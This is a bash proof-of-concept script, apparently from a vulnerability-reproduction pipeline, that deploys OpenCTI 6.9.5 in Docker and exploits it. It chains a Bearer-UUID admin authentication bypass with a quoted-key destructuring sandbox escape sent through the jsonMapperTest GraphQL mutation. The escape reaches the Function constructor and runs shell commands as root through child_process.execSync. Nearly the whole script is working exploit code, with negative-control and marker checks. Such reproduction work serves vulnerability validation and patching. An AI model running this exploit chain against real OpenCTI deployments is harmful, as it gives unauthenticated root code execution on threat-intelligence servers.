#!/bin/bash
# CVE-2026-39980-BYPASS-DESTRUCTURE - OpenCTI 6.9.5 safeEjs quoted-key destructuring sandbox bypass
# Full-stack runtime reproduction against the real opencti/platform:6.9.5 image:
#   1. Deploy OpenCTI 6.9.5 + elasticsearch + redis + rabbitmq + minio in Docker.
#   2. Authenticate remotely via CVE-2026-27960 (Bearer = built-in admin internal_id).
#   3. Negative control: original CVE-2026-39980 computed-key payload is REJECTED by the 6.9.5 fix.
#   4. Exploit: quoted-key destructuring formula (()=>{const{"constructor":F}=Array;return F(...)()})()
#      delivered through the jsonMapperTest GraphQL mutation -> Function constructor -> root RCE.
#   5. Repeat on a fresh platform process (second attempt) for repeatability.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART/http" "$ART/markers"
cd "$ROOT"

exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

NET="pruva-octi-net"
C_ES="pruva-octi-es"
C_REDIS="pruva-octi-redis"
C_RMQ="pruva-octi-rabbitmq"
C_MINIO="pruva-octi-minio"
C_PLAT="pruva-octi-platform"
PLATFORM_IMAGE="opencti/platform:6.9.5"
EXPECTED_PLATFORM_DIGEST="sha256:1f91ad32f1aadf283b5f369ff7b358da071679d4e2bec64030127306db8e73b0"
ES_IMAGE="elasticsearch:8.19.9"
REDIS_IMAGE="redis:8.4.0"
RMQ_IMAGE="rabbitmq:4.2.2-management"
MINIO_IMAGE="minio/minio:RELEASE.2025-06-13T11-33-47Z"
BASE_URL="http://127.0.0.1:4000"
ADMIN_UUID="88ec0c6a-13ce-5e39-b486-354fe4a7084f"   # OPENCTI_ADMIN_UUID (src/schema/general.js)
ADMIN_EMAIL="admin@pruva.local"
ADMIN_PASSWORD="PruvaAdmin123!"
ADMIN_TOKEN="$(cat /proc/sys/kernel/random/uuid)"

EPOCH="$(date +%s)"
TOKEN="pruvavar${EPOCH}"
MARKER_NAME="pruva_rce_${TOKEN}.txt"
MARKER_PATH="/tmp/${MARKER_NAME}"

log() { echo "[$(date -u +%H:%M:%S)] $*"; }

write_manifest() {
  local reached="$1" started="$2" health="$3" notes="$4"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$reached" "$started" "$health" "$notes" <<'PY'
import json, sys, hashlib
path, reached, started, health, notes = sys.argv[1:6]
identity = "git:https://github.com/opencti-platform/opencti@be4ab13c30d154adc3cfc49ba128b2039b93e348"
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "POST /graphql jsonMapperTest multipart mutation (JsonMapper variable formula) on opencti/platform:6.9.5",
    "service_started": started == "true",
    "healthcheck_passed": health == "true",
    "target_path_reached": reached == "true",
    "runtime_stack": ["opencti/platform:6.9.5", "elasticsearch:8.19.9", "redis:8.4.0", "rabbitmq:4.2.2-management", "minio/minio:RELEASE.2025-06-13T11-33-47Z"],
    "target_identity": {
        "repository_url": "https://github.com/opencti-platform/opencti",
        "commit_sha": "be4ab13c30d154adc3cfc49ba128b2039b93e348",
        "target_digest": "1f91ad32f1aadf283b5f369ff7b358da071679d4e2bec64030127306db8e73b0",
        "runtime_digest": "1f91ad32f1aadf283b5f369ff7b358da071679d4e2bec64030127306db8e73b0",
        "platform": "linux",
        "architecture": "x86_64"
    },
    "proof_artifacts": [
        "logs/reproduction_steps.log",
        "logs/platform_attempt1.log",
        "logs/platform_attempt2.log",
        "artifacts/http/me_response.json",
        "artifacts/http/negative_control_response.json",
        "artifacts/http/exploit_attempt1_response.json",
        "artifacts/http/exploit_attempt2_response.json",
        "artifacts/markers/marker_attempt1.txt",
        "artifacts/markers/marker_attempt2.txt"
    ],
    "notes": notes
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
PY
}

cleanup() {
  log "Cleaning up containers/network"
  docker rm -f "$C_PLAT" "$C_ES" "$C_REDIS" "$C_RMQ" "$C_MINIO" >/dev/null 2>&1 || true
  docker network rm "$NET" >/dev/null 2>&1 || true
}
trap cleanup EXIT

log "=== CVE-2026-39980-BYPASS-DESTRUCTURE reproduction: OpenCTI 6.9.5 safeEjs destructuring bypass ==="

# --- Optional source-gap verification (diagnostic only, never fatal) ---
CACHE_CTX="$ROOT/project_cache_context.json"
if [ -f "$CACHE_CTX" ]; then
  CACHE_DIR="$(python3 -c 'import json,sys;print(json.load(open(sys.argv[1])).get("project_cache_dir",""))' "$CACHE_CTX" 2>/dev/null || true)"
  REPO="$CACHE_DIR/repo"
  if [ -d "$REPO/.git" ]; then
    log "Verifying source gap in $REPO (diagnostic)"
    git -C "$REPO" log --oneline -1 2>/dev/null | tee "$LOGS/source_identity.log" || true
    grep -n "parentType === 'Property'" "$REPO/opencti-platform/opencti-graphql/src/utils/safeEjs.ts" | tee -a "$LOGS/source_identity.log" || true
  fi
fi

# --- Image identity ---
log "Pulling/verifying platform image $PLATFORM_IMAGE"
docker pull "$PLATFORM_IMAGE" >/dev/null 2>&1 || true
ACTUAL_DIGEST="$(docker inspect --format '{{index .RepoDigests 0}}' "$PLATFORM_IMAGE" | cut -d@ -f2)"
log "Platform image digest: $ACTUAL_DIGEST (expected $EXPECTED_PLATFORM_DIGEST)"
if [ "$ACTUAL_DIGEST" != "$EXPECTED_PLATFORM_DIGEST" ]; then
  log "WARNING: platform image digest differs from the pinned digest; continuing with tag $PLATFORM_IMAGE"
fi

cleanup

log "Creating network $NET"
docker network create "$NET" >/dev/null

log "Starting elasticsearch"
docker run -d --name "$C_ES" --network "$NET" -p 127.0.0.1:9200:9200 \
  -e discovery.type=single-node -e xpack.ml.enabled=false -e xpack.security.enabled=false \
  -e "ES_JAVA_OPTS=-Xms1G -Xmx1G" "$ES_IMAGE" >/dev/null

log "Starting redis"
docker run -d --name "$C_REDIS" --network "$NET" "$REDIS_IMAGE" >/dev/null

RMQ_CONF="$(mktemp -d)/rabbitmq.conf"
printf 'loopback_users = none\nmax_message_size = 536870912\n' > "$RMQ_CONF"
log "Starting rabbitmq"
docker run -d --name "$C_RMQ" --network "$NET" \
  -v "$RMQ_CONF:/etc/rabbitmq/conf.d/90-userdefined.conf:ro" "$RMQ_IMAGE" >/dev/null

log "Starting minio"
docker run -d --name "$C_MINIO" --network "$NET" -p 127.0.0.1:9000:9000 \
  -e MINIO_ROOT_USER=ChangeMe -e MINIO_ROOT_PASSWORD=ChangeMe \
  "$MINIO_IMAGE" server /data --console-address ":9001" >/dev/null

wait_deps() {
  local waited=0
  log "Waiting for elasticsearch..."
  until curl -sf --max-time 5 http://127.0.0.1:9200 >/dev/null 2>&1; do
    sleep 3; waited=$((waited+3)); [ "$waited" -ge 300 ] && { log "ERROR: elasticsearch not ready"; return 1; }
  done
  log "elasticsearch ready after ${waited}s"
  waited=0
  log "Waiting for rabbitmq..."
  until docker exec "$C_RMQ" rabbitmq-diagnostics -q ping >/dev/null 2>&1; do
    sleep 3; waited=$((waited+3)); [ "$waited" -ge 300 ] && { log "ERROR: rabbitmq not ready"; return 1; }
  done
  log "rabbitmq ready after ${waited}s"
  waited=0
  log "Waiting for minio..."
  until curl -sf --max-time 5 http://127.0.0.1:9000/minio/health/live >/dev/null 2>&1; do
    sleep 3; waited=$((waited+3)); [ "$waited" -ge 180 ] && { log "ERROR: minio not ready"; return 1; }
  done
  log "minio ready after ${waited}s"
  waited=0
  log "Waiting for redis..."
  until docker exec "$C_REDIS" redis-cli ping 2>/dev/null | grep -q PONG; do
    sleep 3; waited=$((waited+3)); [ "$waited" -ge 120 ] && { log "ERROR: redis not ready"; return 1; }
  done
  log "redis ready after ${waited}s"
}

start_platform() {
  docker run -d --name "$C_PLAT" --network "$NET" -p 127.0.0.1:4000:4000 \
    -e APP__PORT=4000 \
    -e APP__BASE_URL="http://127.0.0.1:4000/" \
    -e APP__ADMIN__EMAIL="$ADMIN_EMAIL" \
    -e APP__ADMIN__PASSWORD="$ADMIN_PASSWORD" \
    -e APP__ADMIN__TOKEN="$ADMIN_TOKEN" \
    -e APP__HEALTH_ACCESS_KEY=pruva-health-key \
    -e APP__APP_LOGS__LOGS_LEVEL=info \
    -e REDIS__HOSTNAME="$C_REDIS" \
    -e ELASTICSEARCH__URL="http://$C_ES:9200" \
    -e RABBITMQ__HOSTNAME="$C_RMQ" \
    -e RABBITMQ__USERNAME=guest \
    -e RABBITMQ__PASSWORD=guest \
    -e MINIO__ENDPOINT="$C_MINIO" \
    -e MINIO__ACCESS_KEY=ChangeMe \
    -e MINIO__SECRET_KEY=ChangeMe \
    "$PLATFORM_IMAGE" >/dev/null
}

wait_healthy() {
  local limit="$1" waited=0
  while [ "$waited" -lt "$limit" ]; do
    local code
    code="$(curl -s -o /dev/null -w '%{http_code}' --max-time 20 "$BASE_URL/health?health_access_key=pruva-health-key" || true)"
    if [ "$code" = "200" ]; then
      log "Platform healthy after ${waited}s"
      return 0
    fi
    if [ "$(docker inspect -f '{{.State.Status}}' "$C_PLAT" 2>/dev/null || echo missing)" = "exited" ]; then
      log "Platform exited early; restarting it"
      docker start "$C_PLAT" >/dev/null 2>&1 || true
    fi
    sleep 5; waited=$((waited+5))
  done
  return 1
}

# Build the multipart request body parts for jsonMapperTest.
# $1 = formula, $2 = output response file
send_mapper_test() {
  local formula="$1" out="$2"
  local tmp ops
  tmp="$(mktemp -d)"
  echo '[{}]' > "$tmp/data.json"
  python3 - "$formula" > "$tmp/operations.json" <<'PY'
import json, sys
formula = sys.argv[1]
config = {"name": "pruva-repro", "variables": [{"name": "pwn", "path": {"variables": [], "formula": formula}}], "representations": []}
ops = {"query": "mutation($configuration: String!, $file: Upload!) { jsonMapperTest(configuration: $configuration, file: $file) { nbEntities nbRelationships state } }",
       "variables": {"configuration": json.dumps(config), "file": None}}
print(json.dumps(ops))
PY
  cp "$tmp/operations.json" "$out.operations.json"
  curl -sS --max-time 120 "$BASE_URL/graphql" \
    -H "Authorization: Bearer $ADMIN_UUID" \
    -F "operations=<$tmp/operations.json;type=application/json" \
    -F 'map={"0":["variables.file"]}' \
    -F "0=@$tmp/data.json;type=application/json" \
    -o "$out" -w 'HTTP %{http_code}\n' | tee "$out.status"
  rm -rf "$tmp"
}

wait_deps || { write_manifest false false false "dependency stack failed"; exit 2; }
log "Starting platform (attempt 1): $PLATFORM_IMAGE"
start_platform
if ! wait_healthy 900; then
  log "ERROR: platform failed to become healthy"
  docker logs "$C_PLAT" > "$LOGS/platform_attempt1.log" 2>&1 || true
  write_manifest false false false "platform failed to become healthy"
  exit 2
fi
docker logs "$C_PLAT" > "$LOGS/platform_attempt1.log" 2>&1 || true

# --- Step 1: CVE-2026-27960 auth bypass proof ---
log "Checking CVE-2026-27960 Bearer-UUID auth bypass (me query)"
curl -sS --max-time 60 "$BASE_URL/graphql" \
  -H "Authorization: Bearer $ADMIN_UUID" \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ me { user_email name } }"}' > "$ART/http/me_response.json"
cat "$ART/http/me_response.json"
if ! grep -q "$ADMIN_EMAIL" "$ART/http/me_response.json"; then
  log "ERROR: auth bypass failed - no admin identity returned"
  write_manifest false true true "auth bypass failed"
  exit 2
fi
log "Auth bypass OK: authenticated as admin via Bearer $ADMIN_UUID"

# --- Step 2: negative control - original CVE-2026-39980 payload must be REJECTED by the 6.9.5 fix ---
NEG_FORMULA='({}[{toString:()=>"constructor"}][{toString:()=>"constructor"}])("return 1")()'
log "Negative control: sending original CVE-2026-39980 computed-key payload"
send_mapper_test "$NEG_FORMULA" "$ART/http/negative_control_response.json"
cat "$ART/http/negative_control_response.json"
if ! grep -q "Forbidden property access" "$ART/http/negative_control_response.json"; then
  log "ERROR: negative control was NOT rejected as expected (fix may be inactive)"
  write_manifest false true true "negative control not rejected"
  exit 2
fi
log "Negative control OK: original payload rejected with VerifierIllegalAccessError"

# --- Step 3: exploit attempt 1 - quoted-key destructuring bypass ---
INNER_CMD="echo ${TOKEN} >${MARKER_PATH}; id >>${MARKER_PATH}; hostname >>${MARKER_PATH}"
EXPLOIT_FORMULA="(()=>{const{\"constructor\":F}=Array;return F('return process.getBuiltinModule(\"child_process\").execSync(\"${INNER_CMD}\").toString()')();})()"
log "Exploit attempt 1: destructuring formula via jsonMapperTest"
send_mapper_test "$EXPLOIT_FORMULA" "$ART/http/exploit_attempt1_response.json"
cat "$ART/http/exploit_attempt1_response.json"

sleep 2
docker exec "$C_PLAT" cat "$MARKER_PATH" > "$ART/markers/marker_attempt1.txt" 2>/dev/null || true
if ! grep -q "$TOKEN" "$ART/markers/marker_attempt1.txt"; then
  log "ERROR: marker not found in platform container after attempt 1"
  docker logs "$C_PLAT" > "$LOGS/platform_attempt1.log" 2>&1 || true
  write_manifest false true true "exploit marker missing (attempt 1)"
  exit 2
fi
log "Marker attempt 1 content:"
cat "$ART/markers/marker_attempt1.txt"
grep -q "uid=0(root)" "$ART/markers/marker_attempt1.txt" || { log "ERROR: marker does not prove root"; exit 2; }
HOSTNAME1="$(docker exec "$C_PLAT" hostname)"
grep -q "$HOSTNAME1" "$ART/markers/marker_attempt1.txt" || { log "ERROR: marker hostname mismatch"; exit 2; }
log "Attempt 1 RCE as root confirmed in container $HOSTNAME1"

# --- Step 4: exploit attempt 2 on a FRESH platform process ---
log "Recreating platform container for a fresh process (attempt 2)"
docker rm -f "$C_PLAT" >/dev/null
start_platform
if ! wait_healthy 600; then
  log "ERROR: platform failed to become healthy on attempt 2"
  docker logs "$C_PLAT" > "$LOGS/platform_attempt2.log" 2>&1 || true
  write_manifest true true false "platform reboot failed for attempt 2"
  exit 2
fi
docker logs "$C_PLAT" > "$LOGS/platform_attempt2.log" 2>&1 || true
HOSTNAME2="$(docker exec "$C_PLAT" hostname)"
if [ "$HOSTNAME2" = "$HOSTNAME1" ]; then
  log "ERROR: platform container was not actually recreated"
  exit 2
fi

TOKEN2="${TOKEN}b"
MARKER_PATH2="/tmp/pruva_rce_${TOKEN2}.txt"
INNER_CMD2="echo ${TOKEN2} >${MARKER_PATH2}; id >>${MARKER_PATH2}; hostname >>${MARKER_PATH2}"
EXPLOIT_FORMULA2="(()=>{const{\"constructor\":F}=Array;return F('return process.getBuiltinModule(\"child_process\").execSync(\"${INNER_CMD2}\").toString()')();})()"
log "Exploit attempt 2 on fresh process $HOSTNAME2"
send_mapper_test "$EXPLOIT_FORMULA2" "$ART/http/exploit_attempt2_response.json"
cat "$ART/http/exploit_attempt2_response.json"
sleep 2
docker exec "$C_PLAT" cat "$MARKER_PATH2" > "$ART/markers/marker_attempt2.txt" 2>/dev/null || true
if ! grep -q "$TOKEN2" "$ART/markers/marker_attempt2.txt"; then
  log "ERROR: marker not found after attempt 2"
  write_manifest false true true "exploit marker missing (attempt 2)"
  exit 2
fi
grep -q "uid=0(root)" "$ART/markers/marker_attempt2.txt" || { log "ERROR: attempt 2 marker does not prove root"; exit 2; }
grep -q "$HOSTNAME2" "$ART/markers/marker_attempt2.txt" || { log "ERROR: attempt 2 hostname mismatch"; exit 2; }
log "Attempt 2 RCE as root confirmed in fresh container $HOSTNAME2"
cat "$ART/markers/marker_attempt2.txt"

write_manifest true true true "Two fresh opencti/platform:6.9.5 processes: pre-auth root RCE via jsonMapperTest destructuring formula; original CVE-2026-39980 payload rejected (negative control)."
log "=== REPRODUCTION CONFIRMED: pre-auth root RCE on OpenCTI 6.9.5 via safeEjs destructuring bypass ==="
exit 0
